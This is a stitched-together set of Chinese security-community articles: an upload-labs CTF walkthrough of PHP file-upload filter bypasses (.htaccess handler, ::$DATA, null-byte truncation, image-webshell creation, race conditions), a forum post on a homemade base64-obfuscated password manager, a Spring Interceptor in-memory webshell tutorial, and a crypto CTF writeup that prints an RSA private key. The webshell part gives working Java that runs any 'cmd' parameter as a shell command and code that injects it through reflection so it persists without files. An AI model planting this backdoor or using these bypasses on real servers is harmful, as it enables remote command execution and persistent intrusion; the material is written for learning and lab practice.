不允许上传`.asp,.aspx,.php,.jsp`后缀文件，但是可以上传其他任意后缀
.php .phtml .phps .php5 .pht
前提是apache的`httpd.conf`中有如下配置代码
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
或者上传`.htaccess`文件需要：1.`mod_rewrite模块开启`。2.`AllowOverride All`
文件内容
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
此时上传`shell.jpg`文件即可被当作php来解析。
或者
AddType application/x-httpd-php .jpg
另外基本上所有的黑名单都可以用Apache解析漏洞绕过。
### Pass-04-.htaccess绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}
}
过滤了各种罕见后缀
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
但是没有过滤`.htaccess`，用上面的方法即可。
### Pass-05-大小写绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else {
$msg = '此文件类型不允许上传！';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}
}
### Pass-06-空格绕过
Win下`xx.jpg[空格]
或xx.jpg.`这两类文件都是不允许存在的，若这样命名，windows会默认除去空格或点此处会删除末尾的点，但是没有去掉末尾的空格，因此上传一个`.php空格`文件即可。
### Pass-07-点绕过
没有去除末尾的点，因此与上面同理，上传`.php.`绕过。
### Pass-08-`::$DATA`绕过
NTFS文件系统包括对备用数据流的支持。这不是众所周知的功能，主要包括提供与Macintosh文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中，此默认数据流称为：`$
DATA`。上传`.php::$DATA`绕过。(仅限windows)
### Pass-09-`.`空格`.`绕过
### Pass-10-双写绕过
敏感后缀替换为空，双写`.pphphp`绕过即可。
### Pass-11-00截断
影响版本：`5.4.x<=
5.4.39, 5.5.x<= 5.5.23, 5.6.x <=
5.6.7`exp：`move_uploaded_file($_FILES['name']['tmp_name'],"/file.php\x00.jpg");`源码中`move_uploaded_file`中的`save_path`可控，因此00截断即可。
### Pass-12-略
把`Pass-11`的GET方式改成了POST，同理。
### Pass-13-16-图片马
#### Pass-13-unpack
上传图片马。
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知，上传失败！";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错！";
}
}
}
制作图片马
copy smi1e.jpg /b + shell.php /a shell.jpg
#### Pass-14-getimagesize()
同Pass-13
#### Pass-15-exif_imagetype()
同Pass-13
#### Pass-16-二次渲染绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息，文件名，类型，大小，临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型，合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片！";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片（使用用户上传图片生成的新图片）
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错！";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片！";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片（使用用户上传图片生成的新图片）
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错！";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片！";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片（使用用户上传图片生成的新图片）
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错！";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件！";
}
}
判断了后缀名、`content-type`，以及利用`imagecreatefromgif`判断是否为gif图片，最后再做了一次二次渲染，绕过方法可以参考先知的文章，写的很详细：<https://xz.aliyun.com/t/2657>`jpg`和`png`很麻烦，`gif`只需要找到渲染前后没有变化的位置,然后将`php`代码写进去,就可以了。
### Pass-17-条件竞争
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件！";
unlink($upload_file);
}
}else{
$msg = '上传出错！';
}
}
可以看到文件先经过保存，然后判断后缀名是否在白名单中，如果不在则删除，此时可以利用条件竞争在保存文件后删除文件前来执行php文件。
利用bp不断发送上传包和请求包。成功执行命令：
### Pass-18-条件竞争
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传，但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败，上传目录不可写。';
break;
case -3:
$msg = '上传失败，无法上传该类型文件。';
break;
case -4:
$msg = '上传失败，上传的文件过大。';
break;
case -5:
$msg = '上传失败，服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传，文件不能复制到目标目录。';
break;
default:
$msg = '未知错误！';
break;
}
}
//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
......
......
......
}
因为move在rename之前因此我们可以通过条件竞争来上传图片马。
### Pass-19-`/.`绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错！';
}
}else{
$msg = '禁止保存为该类型文件！';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}
}
这里是我在Pass9提到的一个trick，move_uploaded_file会忽略掉文件末尾的`/.`。但是Pass9中的文件名是从`$_FILES['upload_file']['tmp_name']`中获取的，这里是用户可控的。因此构造当然也可以用`move_uploaded_file`函数的00截断漏洞绕过。
### Pass-20-数组+/.绕过
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功！";
$is_upload = true;
} else {
$msg = "文件上传失败！";
}
}
}
}else{
$msg = "请选择要上传的文件！";
}
可以发现`$file_name`经过`reset($file) . '.' . $file[count($file) - 1];`处理。
如果上传的是数组的话，会跳过`$file = explode('.', strtolower($file));`。并且后缀有白名单过滤
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
而最终的文件名后缀取的是`$file[count($file) -1]`，因此我们可以让`$file`为数组。`$file[0]`为`smi1e.php/`，也就是`reset($file)`，然后再令`$file[2]`为白名单中的jpg。此时`end($file)`等于jpg，`$file[count($file)
- 1]`为空。而 `$file_name = reset($file) . '.' . $file[count($file) -1];`，也就是`smi1e.php/.`，最终`move_uploaded_file`会忽略掉`/.`，最终上传`smi1e.php`。
### 解析漏洞
解析漏洞是服务器端中间件的问题，可以根据不同的解析漏洞应用在以上题目的情况中。可以参考我的另一篇文章：[文件解析漏洞总结](https://www.smi1e.top/%E6%96%87%E4%BB%B6%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/)
### 后记
虽然大部分都是学过的知识，但是在复现的过程中通过Debug学到了不少之前不知道的东西。 | 社区文章 |
几个月前我突发奇想地写了个密码管理工具，今天又更新了点功能，于是想跟各位大牛探讨一下，如果想要自己设计密码管理系统或者工具，应该怎么做比较安全？
先分享下我自己设计的密码管理工具，以下内容来自个人博客：<http://thief.one/2017/04/24/1/>
### 设计思路
首先作为一个密码管理工具，得有3个最基础的功能，密码生成、密码存储以及密码查询。
#### 密码生成
原本想借助于AES算法的，但是实际编写过程中出了点状况，因此改用base64（进过特殊处理）。
当然用来加密明文密码不可能只用简单的base64，其中经过多次复杂的转换，并且生成的密码存在一定随机性，不易发现规律。
#### 密码存储
原本是想搞个数据库用来存储密码，但后来发现不够简便，于是用了最简单的文件存储，并借助了git库，将文件同步到远程git仓库中。
#### 密码查询
这个很好实现，从文件中读取密文内容，通过算法解密，然后输出。
### 项目介绍
* config_init存储配置文件，进入程序密码、git仓库地址
* pwdmanagedb/pwd.db存储密文密码
* pwdmanage.py项目程序代码
说明：存储到文件的内容都进过特殊的加密，一般没有pwdmanage.py是无法解密其中的内容的。pwd.db存储在git项目中，每次运行程序时都会向远处仓库pull最新内容，每次本地新增一个用户也会立即同步推送到远处仓库中。
### Usage
#### 更新启动密码
python pwdmanage.py --upwd 123456
修改当前密码为123456,需要输入老密码。
#### 更新git库地址
python pwdmanage.py --gitaddress "./pwdmanagedb"
修改本地git项目文件路径为./pwdmanagedb，需要输入密码。
#### 开启git远程同步功能
python pwdmanage.py --gitswitch True
默认为关闭的，即密码文件存储在本地，不会同步到远程git库中。
#### 生成新密码
输入注册账号的网站url，以及用户名，即可生成密码。密码分为明文与密文，密文将会存储到pwd.db文件内，并同步到指定的git仓库中。
#### 查询密码
输入url（支持模糊查询），可以查询出该url下注册的用户名与密码。
#### 列举账户下所有的密码
python pwdmanage.py --l
列举出所有网站的账号密码。
#### 删除密码
[-pwdmanage-]>> www.baidu.com nmask --delete
将百度网址的nmask账号删除。
#### 手动设置密码
[-pwdmanage-]>> www.baidu.com nmask 123456 --set
将百度网址的用户名为nmask的密码设置为123456。
### 文件存储内容
都是经过特殊处理后的base64密文。
### 后记
其实这个项目的关键点就在于密码生成的密文是否可能被解密，我想说可能性还是有的，比如说拿到了项目程序，恰巧破解了config.init中写的程序开启密码，并利用程序中内置的函数去解密。在实际使用时，会将py程序打包成可执行程序，避免源码泄露导致加密算法流出，当然通过反编译依然可以拿到源码。因此为了尽可能避免此事件，我的做法是将pwd.db文件与pwdmanage.py分离开，即退出程序后，将pwd.db文件删除，由于此文件是存在远端仓库中的，因此不用担心会丢失。而当别有用心之人拿到pwdmanage.py程序后，还必须知道远程项目地址密码，方可下载pwd.db并破解其中的密码。
最后再补充一句，即使以上步骤都被攻破了，那也没关系，反正银行卡密码都在脑中，对了，还有caoliu密码。
### 讨论讨论
其实当初我自己设计的密码管理工具，主要还在于可以方便的存储以及查询密码。设计之初，我的想法是每个论坛或者网站的密码都设置的不一样（且没有规律可循），即使有网站被脱裤了，也不会影响到我其他网站的密码。然后统一管理该密码，添加增删改查的功能即可。一开始我考虑使用数据库存储，但后来发现太臃肿，因此使用了git库来存储本地密码文件。
那么最关键的点在于，每个网站的密码是怎么生成的，然后又是怎么加密的？
生成的话我使用了很多随机的因素，加密我用了最简单的base64+16进制+混淆（打乱顺序等操作），由于对密码学了解的不深，因此没有使用相对安全的加密算法。总体来说，感觉不是很安全，当然我想也没有人这么无聊来破解我的程序盗取密码（无非就是一些论坛的密码）。
那么现在的问题是，该如何系统地设计密码管理工具呢？ | 社区文章 |
# Spring Interceptor 内存马分析
## demo
创建如下Intercetor：
package com.example.demo;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class MyInterceptor implements HandlerInterceptor {
public boolean preHandle(HttpServletRequest req, HttpServletResponse res, Object handler) throws Exception {
if (req.getParameter("cmd") != null) {
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
res.getWriter().write(new String(bytes,0,len));
process.destroy();
return false;
}
else{
return true;
}
}
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
}
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
}
}
通过WebMvcConfigurer接口来注册Intercetor：
package com.example.demo;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@Configuration
public class InterceptorConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new MyInterceptor());
}
}
启动后，访问任意url即可执行命令。
## 调试分析
在preHandle方法中下断点，对其进行调试分析：
调用栈如下：
我们注册的MyInterceptor的preHandle方法是在HandlerExecutionChain#applyPreHandle方法中所调用的。
applyPreHandle方法是在DispatcherServlet#doDispatch方法中调用的，mappedHandler中存放了拦截器。
mappedHandler由this.getHandler而来，我们在getHandler中下断点，进行调试分析。
首先获取了mapping，这个mapping是requestMappingHandlerMapping，是一个bean
然后会调用mapping.getHandler方法，其实是调用到AbstractHandlerMapping#getHandler方法。
在该方法中会调用getHandlerExecutionChain方法，跟进。
在getHandlerExecutionChain方法中会变遍历this.adaptedInterceptors的值，如果是MappedInterceptor的话，会判断匹配url是否匹配再加入chain中，否则直接加入chain中。
可以看到this.adaptedInterceptors中存储的就是拦截器，其中由我们注册的MyInterceptor，而另外两个拦截器则是初始化的时候自带的。
遍历完后返回chain，最后就是返回到DispatcherServlet中的mappedHandler
之后就是调用mappedHandler.applyPreHandle，一直到调用到拦截器的preHandle方法。
## 注入内存马
通过上述分析，我们可以发现：我们注册的拦截器是会被存放在AbstractHandlerMapping的adaptedInterceptors变量中的，adaptedInterceptors是一个数组。
其存放的拦截器最后会被放入到mappedHandler中，从而调用拦截器的preHandle方法。
所以我们注入内存马，可以在adaptedInterceptors中添加一个拦截器。
所以我们需要获得AbstractHandlerMapping对象，要想获得AbstractHandlerMapping对象，其实只要获得requestMappingHandlerMapping
bean就行了，而bean可以通过BeanFactory接口的getBean方法来获得。
根据接口的实现关系，只要实现了WebApplicationContext接口的类我们都可以用。
可以用如下代码获取requestMappingHandlerMapping bean
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
context.getBean("requestMappingHandlerMapping");
从而获得adaptedInterceptors变量，添加拦截器。
注入内存马：
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.List;
@RestController
public class inject {
@GetMapping("/inject")
public void inject(){
try{
// 获取context
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
// 从context中获得 AbstractHandlerMapping 的实例
AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
// 反射获取 adaptedInterceptors 字段用于注册拦截器
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
List<HandlerInterceptor> adaptedInterceptors = (ArrayList) field.get(abstractHandlerMapping);
//实例化恶意拦截器并注册
MyInterceptor m = new MyInterceptor();
adaptedInterceptors.add(m);
}catch(Exception e){
e.printStackTrace();
}
}
}
## 指定注入内存马path
上面所注入内存马，path相当于是/*的，就算访问任何url都可触发。如果只想注入的内存马在path是/aaa时执行，是否有方法。
根据：
满足interceptor instanceof
MappedInterceptor这个if条件后，其会对调用MappedInterceptor的matches方法对path进行匹配，如果匹配上了才会加入chain
看下MappedInterceptor的构造函数：
我们可以根据其构造函数来创建MappedInterceptor对象：
MyInterceptor m = new MyInterceptor();
String[] path = new String[]{"/aaa"};
MappedInterceptor mi = new MappedInterceptor(path,null,m);
然后将其添加到adaptedInterceptors中：
import com.example.demo.MyInterceptor;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.handler.MappedInterceptor;
import org.springframework.web.servlet.support.RequestContextUtils;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.List;
@RestController
public class inject {
@GetMapping("/inject")
public void inject(){
try{
// 获取context
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
// 从context中获得 AbstractHandlerMapping 的实例
AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
// 反射获取 adaptedInterceptors 字段用于注册拦截器
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
List<HandlerInterceptor> adaptedInterceptors = (ArrayList) field.get(abstractHandlerMapping);
//实例化恶意拦截器并注册
MyInterceptor m = new MyInterceptor();
// 创建MappedInterceptor
String[] path = new String[]{"/aaa"};
MappedInterceptor mi = new MappedInterceptor(path,null,m);
adaptedInterceptors.add(mi);
}catch(Exception e){
e.printStackTrace();
}
}
}
执行注入后，发现访问：<http://127.0.0.1:8080/aaa?cmd=whoami并没有执行命令。>
调试分析，发现在MappedInterceptor的matches方法中，path为/error
应该是因为/aaa本来就为不存在的路由。
将path改为存在的路由/login
之后再次注入：
import com.example.demo.MyInterceptor;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.handler.MappedInterceptor;
import org.springframework.web.servlet.support.RequestContextUtils;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.List;
@RestController
public class inject {
@GetMapping("/inject")
public void inject(){
try{
// 获取context
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
// 从context中获得 AbstractHandlerMapping 的实例
AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
// 反射获取 adaptedInterceptors 字段用于注册拦截器
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
List<HandlerInterceptor> adaptedInterceptors = (ArrayList) field.get(abstractHandlerMapping);
//实例化恶意拦截器并注册
MyInterceptor m = new MyInterceptor();
// 创建MappedInterceptor
String[] path = new String[]{"/login"};
MappedInterceptor mi = new MappedInterceptor(path,null,m);
adaptedInterceptors.add(mi);
}catch(Exception e){
e.printStackTrace();
}
}
}
成功实现。
## 最后
指定注入内存马path是否还有其它姿势？
本人水平有限，文章出错处请谅解。 | 社区文章 |
## 前言
渣渣一枚，萌新一个，会划水，会喊六六
个人博客：<http://www.cnblogs.com/miraitowa/>
再过几天就是中秋节了，我打算尽自己最大的能力把蓝鲸安全平台上面的打卡题目的`writeup`整理出来。
有什么错误的地方 希望各位大佬指正(谢谢Orz)
### 一：检查符号
#### 知识点
摩斯密码、替换密码
#### 解题思路
这道题很容易就可以看出是摩斯密码 摩斯密码就是由`'.'`和`'-'`组成的密码 先丢在`notepad++`里转换下
把`。`换成 空格
把`o`转换成`.`
把`0`转换成`-`
就会得到：`....- --- ... .--- -.... -. -.-- --. --... .--. ----. -.. -.. ..--- --..
..--- ...-- ..... .- .---`
放在解密工具里面就会得到：
最后得到答案： **key{4osj6nyg7p9dd2z235aj}**
### 二： 密钥生成
#### 知识点
`RSA`密钥生成 `RSA-Tool`工具的使用
#### 解题思路
首先放一张关于`RSA-Tool`工具使用的方法图；
我们只需要根据上面的解释以及下面一些关于`RSA`算法的资料就可以得到：
即最后答案： **key{125631357777427553}**
### 三： RSA解密
#### 知识点
`zip`伪加密、`RSA`解密，`openssl`用法
#### 解题思路
下载下来题目，告诉我们需要解压密码
这里就要涉及到伪加密的知识了
解开伪加密有多种方法，包括用`7z`，在`linux`下直接打开，更改伪加密位置处的奇数位为`0(偶数)`等方法，我选择使用`ZipCenOp.jar`这个工具来解密
# 在window下
$ java -jar ZipCenOp.jar r rsa.zip
使用`linux`
两种都可以的(我个人更偏向于使用`linux`),打开经过解密之后的伪加密文件：
用`notepad++`打开`imhere`文件打开看到
-----BEGIN RSA PRIVATE KEY----- MIICXQIBAAKBgQCw44GKtDqBlD2hTQVm9oMyp7w3C8i4tCE0zsWTWtV0gVaofyF9
idBeZR3AX/crKnlX1QC6YD/pUJJRPzoKY+bk0YFT64mca7oW2fP719LFiQReirGM
fs4n9mvIYeBx1TtHfFwWBDeIHcjP33eR1hue69Dq5tZYRl2e3SrUJXvRFwIDAQAB
AoGAMUQcF1KdHOv5wkweXg/4eIpJHJe2nuLkgL26P5FD9D/1r9ZAsKNKmo/VGnhf
8fDRfQoBOueFxWjAZ8qRUsWCT+/0ZDs0xCKrQ7YuxO2p9HV1sMQF74D2TVcoFZ4d
P5sjTvs0MutaoTdU0YDNO/ssqk3We2e11tr6ii3HmHtquwkCQQDezreUOIjWV30n
ndoGwYf9LsXoEZVMSI6vw/SqiqOvagN3mufApNfj+JrZ6LvV0hHbYfaVkEUvqMyq
BKAQapNFAkEAyz2RlugQ20fVzUkzDCSF8ByWjK4GgAqQ/qioXJ9tSPcsgV1yUem4
WM7rTBDWaohHT3N+vhAcsszQ2VJZy6vKqwJBAL2liH7CLD79Uwswgg70FfM8J7oj
lUfMDp+vFIdA4JiDjRX2JUNFTHm/9tZ6Eb+rQgXQ+ZlOpoUtkZ85tqCihl0CQCQI
R16MyChIRRR/LMizVPer6dkJJWff97LebfL15OcxwzcwPQtet2svTDIRLiJ3BMWG
QWsq6hudCk3tNrRQQb8CQQCTcs0uWBe6klDKWLCPEYxuTqB9xksQTmlqvdwfdCZF
BWaxHtc/ByfAisj9cfq2CY/fEoeGqLagZ5tG5G81V9VZ
-----END RSA PRIVATE KEY-----
看到是`RSA`私钥文件，说明我们要用这个私钥去解密我们的`flag`文件 这里就需要用到`openssl`文件了
`kali`里自带了`openssl`工具
使用命令：`openssl rsautl -decrypt -in flag -inkey imhere -out flag.txt`
打开`flag.txt`文件就会得到答案： **key{c42bcf773d54cf03}**
### 四： 公平交易
#### 知识点
`playfair`加密 `pycipher`库使用
#### 解题思路
第一种方法：
使用`pycipher`库，就可以得到答案
由于`pycipher`库是`python`中的第三方库，所以使用的时候需要安装即：`pip install pycipher`
使用`pycipher`就可以得到答案：
第二种方法：
使用在线解密工具：<http://www.practicalcryptography.com/ciphers/classical-era/playfair/>
最后得到答案： **key{WHALECTFISVERYFAIR}**
### 五：填空题
#### 知识点
`utf-9`编码，替换密码，进制`ascii`码转换
